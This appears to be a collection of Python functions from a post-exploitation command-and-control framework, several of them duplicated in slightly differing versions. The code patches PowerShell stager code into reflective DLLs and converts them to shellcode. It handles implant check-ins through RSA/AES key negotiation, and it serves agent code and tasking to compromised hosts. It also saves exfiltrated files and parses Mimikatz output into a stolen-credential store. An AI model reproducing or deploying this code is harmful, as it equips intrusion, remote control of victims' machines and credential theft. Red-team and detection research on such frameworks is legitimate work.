def generate_dll(self, poshCode, arch): """ Generate a PowerPick Reflective DLL to inject with base64-encoded stager code. """ #read in original DLL and patch the bytes based on arch if arch.lower() == "x86": origPath = self.installPath + "/data/misc/ReflectivePick_x86_orig.dll" else: origPath = self.installPath + "/data/misc/ReflectivePick_x64_orig.dll" if os.path.isfile(origPath): dllRaw = '' with open(origPath, 'rb') as f: dllRaw = f.read() replacementCode = helpers.decode_base64(poshCode) # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] return dllPatched else: print helpers.color("[!] Original .dll for arch "+arch+" does not exist!")
def generate_dll(self, poshCode, arch): """ Generate a PowerPick Reflective DLL to inject with base64-encoded stager code. """ #read in original DLL and patch the bytes based on arch if arch.lower() == 'x86': origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % (self.mainMenu.installPath) else: origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % (self.mainMenu.installPath) if os.path.isfile(origPath): dllRaw = '' with open(origPath, 'rb') as f: dllRaw = f.read() replacementCode = helpers.decode_base64(poshCode) # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] return dllPatched else: print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
def generate_shellcode(self, poshCode, arch): """ Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL """ if arch.lower() == 'x86': origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath) else: origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath) if os.path.isfile(origPath): dllRaw = '' with open(origPath, 'rb') as f: dllRaw = f.read() replacementCode = helpers.decode_base64(poshCode) # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] flags = 0 flags |= 0x1 sc = ConvertToShellcode(dllPatched) return sc else: print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))
def generate_shellcode(self, poshCode, arch): """ Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL """ if arch.lower() == 'x86': origPath = "{}/data/misc/x86_slim.dll".format( self.mainMenu.installPath) else: origPath = "{}/data/misc/x64_slim.dll".format( self.mainMenu.installPath) if os.path.isfile(origPath): dllRaw = '' with open(origPath, 'rb') as f: dllRaw = f.read() replacementCode = helpers.decode_base64(poshCode) # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) dllPatched = dllRaw[:index] + replacementCode + dllRaw[ (index + len(replacementCode)):] flags = 0 flags |= 0x1 sc = ConvertToShellcode(dllPatched) return sc else: print helpers.color( "[!] Original .dll for arch {} does not exist!".format(arch))
def handle_agent_response(self, sessionID, responseName, data): """ Handle the result packet based on sessionID and responseName. """ agentSessionID = sessionID agentName = sessionID # see if we were passed a name instead of an ID nameid = self.get_agent_name(sessionID) if nameid : sessionID = nameid # report the agent result in the reporting database cur = self.conn.cursor() cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID,"result",responseName,helpers.get_datetime())) cur.close() # TODO: for heavy traffic packets, check these first (i.e. SOCKS?) # so this logic is skipped if responseName == "ERROR": # error code dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents") self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, "[!] Error response: " + data) elif responseName == "TASK_SYSINFO": # sys info response -> update the host info parts = data.split("|") if len(parts) < 10: dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents") else: # extract appropriate system information listener = parts[0].encode('ascii','ignore') domainname = parts[1].encode('ascii','ignore') username = parts[2].encode('ascii','ignore') hostname = parts[3].encode('ascii','ignore') internal_ip = parts[4].encode('ascii','ignore') os_details = parts[5].encode('ascii','ignore') high_integrity = parts[6].encode('ascii','ignore') process_name = parts[7].encode('ascii','ignore') process_id = parts[8].encode('ascii','ignore') ps_version = parts[9].encode('ascii','ignore') if high_integrity == "True": high_integrity = 1 else: high_integrity = 0 username = str(domainname)+"\\"+str(username) # update the agent with this new information self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity,process_name=process_name, process_id=process_id, ps_version=ps_version) sysinfo = '{0: <18}'.format("Listener:") + listener + "\n" sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n" sysinfo += '{0: <18}'.format("Username:"******"\n" sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n" sysinfo += '{0: <18}'.format("OS:") + os_details + "\n" sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n" sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n" sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n" sysinfo += '{0: <18}'.format("PSVersion:") + ps_version self.update_agent_results(sessionID, sysinfo) # update the agent log self.save_agent_log(sessionID, sysinfo) elif responseName == "TASK_EXIT": # exit command response # let everyone know this agent exited dispatcher.send(data, sender="Agents") # update the agent results and log # self.update_agent_results(sessionID, data) self.save_agent_log(sessionID, data) # remove this agent from the cache/database self.remove_agent(sessionID) elif responseName == "TASK_SHELL": # shell command response self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) elif responseName == "TASK_DOWNLOAD": # file download parts = data.split("|") if len(parts) != 3: dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents") else: index, path, data = parts # decode the file data and save it off as appropriate fileData = helpers.decode_base64(data) name = self.get_agent_name(sessionID) if index == "0": self.save_file(name, path, fileData) else: self.save_file(name, path, fileData, append=True) # update the agent log msg = "file download: " + str(path) + ", part: " + str(index) self.save_agent_log(sessionID, msg) elif responseName == "TASK_UPLOAD": pass elif responseName == "TASK_GETJOBS": if not data or data.strip().strip() == "": data = "[*] No active jobs" # running jobs self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) elif responseName == "TASK_STOPJOB": # job kill response self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) elif responseName == "TASK_CMD_WAIT": # dynamic script output -> blocking self.update_agent_results(sessionID, data) # see if there are any credentials to parse time = helpers.get_datetime() creds = helpers.parse_credentials(data) if(creds): for cred in creds: hostname = cred[4] if hostname == "": hostname = self.get_agent_hostname(sessionID) self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time) # update the agent log self.save_agent_log(sessionID, data) elif responseName == "TASK_CMD_WAIT_SAVE": # dynamic script output -> blocking, save data name = self.get_agent_name(sessionID) # extract the file save prefix and extension prefix = data[0:15].strip() extension = data[15:20].strip() fileData = helpers.decode_base64(data[20:]) # save the file off to the appropriate path savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension finalSavePath = self.save_module_file(name, savePath, fileData) # update the agent log msg = "Output saved to ." + finalSavePath self.update_agent_results(sessionID, msg) self.save_agent_log(sessionID, msg) elif responseName == "TASK_CMD_JOB": # dynamic script output -> non-blocking self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) # TODO: redo this regex for really large AD dumps # so a ton of data isn't kept in memory...? parts = data.split("\n") if len(parts) > 10: time = helpers.get_datetime() if parts[0].startswith("Hostname:"): # if we get Invoke-Mimikatz output, try to parse it and add # it to the internal credential store # cred format: (credType, domain, username, password, hostname, sid, notes) creds = helpers.parse_mimikatz(data) for cred in creds: hostname = cred[4] if hostname == "": hostname = self.get_agent_hostname(sessionID) self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time) elif responseName == "TASK_CMD_JOB_SAVE": # dynamic script output -> non-blocking, save data name = self.get_agent_name(sessionID) # extract the file save prefix and extension prefix = data[0:15].strip() extension = data[15:20].strip() fileData = helpers.decode_base64(data[20:]) # save the file off to the appropriate path savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension finalSavePath = self.save_module_file(name, savePath, fileData) # update the agent log msg = "Output saved to ." + finalSavePath self.update_agent_results(sessionID, msg) self.save_agent_log(sessionID, msg) elif responseName == "TASK_SCRIPT_IMPORT": self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) elif responseName == "TASK_SCRIPT_COMMAND": self.update_agent_results(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) else: print helpers.color("[!] Unknown response " + str(responseName) + " from " +str(sessionID))
def process_post(self, port, clientIP, sessionID, resource, postData): """ Process a POST request. """ # check to make sure this IP is allowed if not self.is_ip_allowed(clientIP): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") return (200, http.default_page()) # check if requested resource in is session URIs for any agent profiles in the database if (self.is_uri_present(resource)): # if the sessionID doesn't exist in the database if not self.is_agent_present(sessionID): # alert everyone to an irregularity dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents") return (404, "") # if the ID is currently in the database, process the results else: # extract the agent's session key sessionKey = self.agents[sessionID][0] try: # verify, decrypt and depad the packet packet = encryption.aes_decrypt_and_verify(sessionKey, postData) # update the client's last seen time self.update_agent_lastseen(sessionID) # process the packet and extract necessary data # [(responseName, counter, length, data), ...] responsePackets = packets.parse_result_packets(packet) counter = responsePackets[-1][1] # validate the counter in the packet in the setcode.replace if counter and packets.validate_counter(counter): for responsePacket in responsePackets: (responseName, counter, length, data) = responsePacket # process the agent's response self.handle_agent_response(sessionID, responseName, data) # signal that this agent returned results name = self.get_agent_name(sessionID) dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents") # return a 200/valid return (200, "") else: dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents") return (404, "") except Exception as e: dispatcher.send("[!] Error processing result packet from "+str(sessionID), sender="Agents") return (404, "") # step 3 of negotiation -> client posts public key elif resource.lstrip("/").split("?")[0] == self.stage1: if self.args and self.args.debug: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit stagingKey = self.listeners.get_staging_information(port=port)[3] # decrypt the agent's public key message = encryption.aes_decrypt(stagingKey, postData) # strip non-printable characters message = ''.join(filter(lambda x:x in string.printable, message)) # client posts RSA key if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")): dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents") else: # convert the RSA key from the stupid PowerShell export format rsaKey = encryption.rsa_xml_to_key(message) if(rsaKey): if self.args and self.args.debug: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid RSA key", sender="Agents") # get the epoch time to send to the client epoch = packets.get_counter() # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit config = self.listeners.get_staging_information(port=port) delay = config[4] jitter = config[5] profile = config[6] killDate = config[7] workingHours = config[8] lostLimit = config[11] # add the agent to the database now that it's "checked in" self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit) # step 4 of negotiation -> return epoch+aes_session_key clientSessionKey = self.get_agent_session_key(sessionID) data = str(epoch)+clientSessionKey data = data.encode('ascii','ignore') encryptedMsg = encryption.rsa_encrypt(rsaKey, data) # return a 200/valid and encrypted stage to the agent return (200, encryptedMsg) else: dispatcher.send("[!] Agent "+str(sessionID)+" returned an invalid public key!", sender="Agents") return (404, "") # step 5 of negotiation -> client posts sysinfo and requests agent elif resource.lstrip("/").split("?")[0] == self.stage2: if self.is_agent_present(sessionID): # if this is a hop.php relay if "?" in resource: parts = resource.split("?") if len(parts) == 2: decoded = helpers.decode_base64(parts[1]) # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit config = self.listeners.get_staging_information(host=decoded) else: config = self.listeners.get_staging_information(port=port) delay = config[4] jitter = config[5] profile = config[6] killDate = config[7] workingHours = config[8] lostLimit = config[11] # get the session key for the agent sessionKey = self.agents[sessionID][0] try: # decrypt and parse the agent's sysinfo checkin data = encryption.aes_decrypt(sessionKey, postData) parts = data.split("|") if len(parts) < 10: dispatcher.send("[!] Agent "+str(sessionID)+" posted invalid sysinfo checkin format", sender="Agents") # remove the agent from the cache/database self.remove_agent(sessionID) return (404, "") listener = parts[0].encode('ascii','ignore') domainname = parts[1].encode('ascii','ignore') username = parts[2].encode('ascii','ignore') hostname = parts[3].encode('ascii','ignore') external_ip = clientIP.encode('ascii','ignore') internal_ip = parts[4].encode('ascii','ignore') os_details = parts[5].encode('ascii','ignore') high_integrity = parts[6].encode('ascii','ignore') process_name = parts[7].encode('ascii','ignore') process_id = parts[8].encode('ascii','ignore') ps_version = parts[9].encode('ascii','ignore') if high_integrity == "True": high_integrity = 1 else: high_integrity = 0 except: # remove the agent from the cache/database self.remove_agent(sessionID) return (404, "") # let everyone know an agent got stage2 if self.args and self.args.debug: dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") # step 6 of negotiation -> server sends patched agent.ps1 agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit) username = str(domainname)+"\\"+str(username) # update the agent with this new information self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version) # encrypt the agent and send it back encryptedAgent = encryption.aes_encrypt(sessionKey, agentCode) # signal everyone that this agent is now active dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents") output = "[+] Agent " + str(sessionID) + " now active:\n" # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: if key != "functions": output += " %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70)) # save the initial sysinfo information in the agent log self.save_agent_log(sessionID, output + "\n") return(200, encryptedAgent) else: dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents") return (404, "") # default behavior, 404 else: return (404, "")
def process_get(self, port, clientIP, sessionID, resource): """ Process a GET request. """ # check to make sure this IP is allowed if not self.is_ip_allowed(clientIP): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") return (200, http.default_page()) # see if the requested resource is in our valid task URI list if (self.is_uri_present(resource)): # if no session ID was supplied if not sessionID or sessionID == "": dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents") # return a 404 error code and no resource return (404, "") # if the sessionID doesn't exist in the cache # TODO: put this code before the URI present? ... if not self.is_agent_present(sessionID): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents") return (404, "") # if the ID is currently in the cache, see if there's tasking for the agent else: # update the client's last seen time self.update_agent_lastseen(sessionID) # retrieve all agent taskings from the cache taskings = self.get_agent_tasks(sessionID) if taskings and taskings != []: allTaskPackets = "" # build tasking packets for everything we have for tasking in taskings: taskName, taskData = tasking # if there is tasking, build a tasking packet taskPacket = packets.build_task_packet(taskName, taskData) allTaskPackets += taskPacket # get the session key for the agent sessionKey = self.agents[sessionID][0] # encrypt the tasking packets with the agent's session key encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets) return (200, encryptedData) # if no tasking for the agent else: # just return the default page return (200, http.default_page()) # step 1 of negotiation -> client requests stage1 (stager.ps1) elif resource.lstrip("/").split("?")[0] == self.stage0: # return 200/valid and the initial stage code if self.args and self.args.debug: dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") # get the staging information for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit config = self.listeners.get_staging_information(port=port) host = config[0] stagingkey = config[3] profile = config[6] stage = None # if we have a pivot or hop listener, use that config information instead for the stager if "?" in resource: parts = resource.split("?") if len(parts) == 2: decoded = helpers.decode_base64(parts[1]) # http://server:port for a pivot listener if decoded.count("/") == 2: host = decoded else: # otherwise we have a http://server:port/hop.php listener stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile) if not stage: # generate the stage with appropriately patched information stage = self.stagers.generate_stager(host, stagingkey) # step 2 of negotiation -> return stager.ps1 (stage 1) return (200, stage) # default response else: # otherwise return the default page return (200, http.default_page())